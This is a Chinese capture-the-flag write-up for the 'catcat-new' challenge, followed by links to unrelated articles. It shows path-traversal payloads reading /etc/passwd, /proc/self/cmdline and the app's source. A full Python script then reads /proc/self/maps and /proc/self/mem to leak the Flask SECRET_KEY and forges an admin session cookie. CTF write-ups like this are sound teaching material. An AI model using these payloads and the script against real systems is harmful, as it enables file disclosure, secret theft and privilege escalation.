catcat-new【目录穿透+特殊文件】

题目界面

点击任何一只猫猫,发现路径泄露:

解题步骤

  • 测试目录遍历漏洞

    路径: ?file=../../../../etc/passwd

    成功读取到passwd文件:

  • 获取当前启动进程的完整命令

    路径:?file=../../../proc/self/cmdline ,发现有一个app.py文件

    注:大部分python编写的网站脚本都是名为app.py

  • 获取app.py内容

    尝试app.py文件的路径,刚好在当前目录的上一级中:?file=../app.py

    读取到的内容如下:

    更改为易读的标准格式:

    import os
    import uuid
    from flask import Flask, request, session, render_template, Markup
    from cat import cat flag = ""
    app = Flask(
    __name__,
    static_url_path='/',
    static_folder='static'
    )
    app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
    if os.path.isfile("/flag"):
    flag = cat("/flag")
    os.remove("/flag") @app.route('/', methods=['GET'])
    def index():
    detailtxt = os.listdir('./details/')
    cats_list = []
    for i in detailtxt:
    cats_list.append(i[:i.index('.')]) return render_template("index.html", cats_list=cats_list, cat=cat) @app.route('/info', methods=["GET", 'POST'])
    def info():
    filename = "./details/" + request.args.get('file', "")
    start = request.args.get('start', "0")
    end = request.args.get('end', "0")
    name = request.args.get('file', "")[:request.args.get('file', "").index('.')] return render_template("detail.html", catname=name, info=cat(filename, start, end)) @app.route('/admin', methods=["GET"])
    def admin_can_list_root():
    if session.get('admin') == 1:
    return flag
    else:
    session['admin'] = 0
    return "NoNoNo" if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=5637)

    由脚本知,定义了一个用于管理员权限验证的路由 /admin,只有当会话中的 admin 值为 1 时,才返回flag。否则,将 admin 值设置为 0,并返回字符串 "NoNoNo"。由此知,此处需要伪造session。

  • 伪造session并获取flag

    伪造session的必要条件是获取密钥SECRET_KEY。由app.py知secret key在app(flask对象,存储在堆上)的config属性中的’SECRET_KEY‘键上。

    此处需要借助几个进程文件相互配合获取堆上的SECRET KEY:

    • /proc/self/mem:得到进程的内存内容
    • /proc/self/maps:获取当前进程的内存映射关系,通过读该文件的内容可以得到内存代码段基址。

    利用/proc/self/maps的映射信息来确定读的偏移值,通过/proc/self/mem文件读取密钥。

    附上大佬的脚本:

    # coding=utf-8
    # ----------------------------------
    ###################################
    # Edited by lx56@blog.lxscloud.top
    ###################################
    # ----------------------------------
    import requests
    import re
    import ast, sys
    from abc import ABC
    from flask.sessions import SecureCookieSessionInterface url = "http://61.147.171.105:54072/" # 此程序只能运行于Python3以上
    if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3') # ----------------session 伪造,单独用也可以考虑这个库: https://github.com/noraj/flask-session-cookie-manager ----------------
    class MockApp(object):
    def __init__(self, secret_key):
    self.secret_key = secret_key class FSCM(ABC):
    def encode(secret_key, session_cookie_structure):
    # Encode a Flask session cookie
    try:
    app = MockApp(secret_key)
    # 使用 ast.literal_eval 将字符串转换为字典
    session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
    si = SecureCookieSessionInterface()
    s = si.get_signing_serializer(app) return s.dumps(session_cookie_structure)
    except Exception as e:
    return "[Encoding error] {}".format(e)
    raise e # ------------------------------------------- # 由/proc/self/maps获取可读写的内存地址,再根据这些地址读取/proc/self/mem来获取secret key
    s_key = ""
    bypass = "../.."
    # 请求file路由进行读取
    map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")
    # 获取到的响应文本通过'split("\\n")'按行分割,得到一个包含每行内容的列表'map_list'
    map_list = map_list.text.split("\\n")
    # 遍历每行的内容
    for i in map_list:
    # 匹配指定格式的地址
    map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
    if map_addr:
    start = int(map_addr.group(1), 16)
    end = int(map_addr.group(2), 16)
    print("Found rw addr:", start, "-", end) # 设置起始和结束位置并读取/proc/self/mem
    res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")
    # 用到了之前特定的SECRET_KEY格式。如果发现*abcdefgh存在其中,说明成功泄露secretkey
    if "*abcdefgh" in res.text:
    # 正则匹配,本题secret key格式为32个小写字母或数字,再加上*abcdefgh
    secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)
    if secret_key:
    print("Secret Key:", secret_key[0])
    s_key = secret_key[0]
    break # 设置session中admin的值为1
    data = '{"admin":1}'
    # 伪造session
    headers = {
    "Cookie": "session=" + FSCM.encode(s_key, data)
    }
    # 请求admin路由
    try:
    flag = requests.get(url + "admin", headers=headers)
    print("Flag is", flag.text)
    except:
    print("Something error")

catcat-new【目录穿透+特殊文件】的更多相关文章

  1. PHP 批量获取指定目录下的文件列表(递归,穿透所有子目录)

    //调用 $dir = '/Users/xxx/www'; $exceptFolders = array('view','test'); $exceptFiles = array('BaseContr ...

  2. winrar+目录穿透复现

    前言: 学习下该漏洞,记录下这是自动化复现,没有具体分析.菜逼只会用. 00x1: 漏洞简单描述: 该漏洞事一个由UNACEV2.dll代码库中的一个深藏已久的漏洞 当攻击者制作一个恶意的ACE文件时 ...

  3. VS Build目录下各文件的作用

    VS2010中各种类型文件的作用: .sln 相当于VC6中 .dsw    .vcxproj 相当于VC6中 .dsp    .suo 相当于VC6中 .ncb    .vcxproj.filter ...

  4. 关于Android中res目录strings.xml文件中的转义字符之笔录

    res目录strings.xml文件中的转义字符:         ------------------>     代表着一个汉字的位置:                        ---- ...

  5. Eclipse下无法自动编译,或者WEB-INF/classes目录下没文件,编译失败的解决办法(转载)

    文章来源:http://www.cnblogs.com/xfiver/archive/2010/07/07/1772764.html 1.  IOException parsing XML docum ...

  6. Android从assets目录下读取文件相关

    有一个需求是app的帮助文档是word格式,ios可以直接用webview加载word显示,Android不行.而美工不配合转换成图片,前端没时间把word写成html 没办法,自己搞. 步骤: 1. ...

  7. PHP 获取指定目录下所有文件(包含子目录)

    PHP 获取指定目录下所有文件(包含子目录) //glob — 寻找与模式匹配的文件路径 $filter_dir = array('CVS', 'templates_c', 'log', 'img', ...

  8. Python遍历目录下所有文件的最后一行进行判断若错误及时邮件报警-案例

    遍历目录下所有文件的最后一行进行判断若错误及时邮件报警-案例: #-*- encoding: utf-8 -*- __author__ = 'liudong' import linecache,sys ...

  9. eclipse项目自动发布到tomcat目录,缺文件。

    eclipse项目自动发布到tomcat目录,缺文件. 解决方案: 项目--Properties-->Deployment Assembly-->Add--> Folder Add- ...

  10. ftp下载目录下所有文件及文件夹内(递归)

    ftp下载目录下所有文件及文件夹内(递归)   /// <summary> /// ftp文件上传.下载操作类 /// </summary> public class FTPH ...

随机推荐

  1. 给你的 SpringBoot 工程部署的 jar 包瘦瘦身吧!

    之前有写过一篇有关maven插件的文章:spring-boot-maven-plugin插件详解 一.需求背景 我们知道Spring Boot项目,是可以通过java -jar 包名 启动的. 那为什 ...

  2. KMP字符串对比算法及next数组计算

    (注:该贴主要运用python实现该算法) 先谈谈KMP算法吧.KMP算法的全称是Knuth-Morris-Pratt 算法,它是用来进行字符串查找,即在某个主字符串里面找到某个特定子字符串.但是好像 ...

  3. iptables和firewalld

    iptables简介 iptables不是一个单一的软件工具,而是一套c/s样式的软件组,它是由工作在用户空间的iptables和工作在内核空间的vetilter模块组成,一般统称为Iptables. ...

  4. Django-rest-framework框架——Web应用模式、API接口、接口测试工具(Postman)、RESTfulAPI规范、序列化、drf、环境安装与配置、CBV源码分析、 APIView

    @ 目录 一 Web应用模式 1.1 前后端不分离 1.2 前后端分离 二 API接口 三 接口测试工具:Postman 四 RESTful API规范(背诵牢记) 4.1 数据的安全保障 4.2 接 ...

  5. July 2023 (version 1.81)

    July 2023 (version 1.81) 更新后显示发行说明 Update 1.81.1: The update addresses these issues. Welcome to the ...

  6. OSPF路由 与 ISIS路由 与路由学习对比

    转载请注明出处: 1.OSPF 路由学习规律 OSPF使用链路状态数据库(Link State Database)来存储网络拓扑信息.每个OSPF路由器通过交换链路状态更新(Link State Up ...

  7. TIM-有感BLDC转速解析

    TIM-有感BLDC转速解析 1.基本概念解析 霍尔传感器的原理:通电线圈产生的磁场会使得转子所在位置会产生磁场,其中离得最近的霍尔传感器的磁场最强,进而导致最近霍尔传感器会产生最大的电压信号,这个最 ...

  8. 老派Sql之必要,逆天,我在ef core中使用ado.net!

    Wlkr.Core.EFCore 逆天,我在ef core中使用ado.net! 老派Sql之必要 当你开发生涯中基本只用一两种数据库 当你觉得用EF的类写报表时很别扭 当你觉自己的Sql( Serv ...

  9. Unity - UIWidgets 1. 从Hello world开始

    安装参照github的README.UIWidgets相当于Flutter的一个Unity实现(后面表示UIWidgets和UGUI区别时直接称"Flutter"),是把承载的所有 ...

  10. c#中单例模式详解

    基础介绍:   确保一个类只有一个实例,并提供一个全局访问点.   适用于需要频繁实例化然后销毁的对象,创建对象消耗资源过多,但又经常用到的对象,频繁访问数据库或文件的对象.   其本质就是保证在整个 ...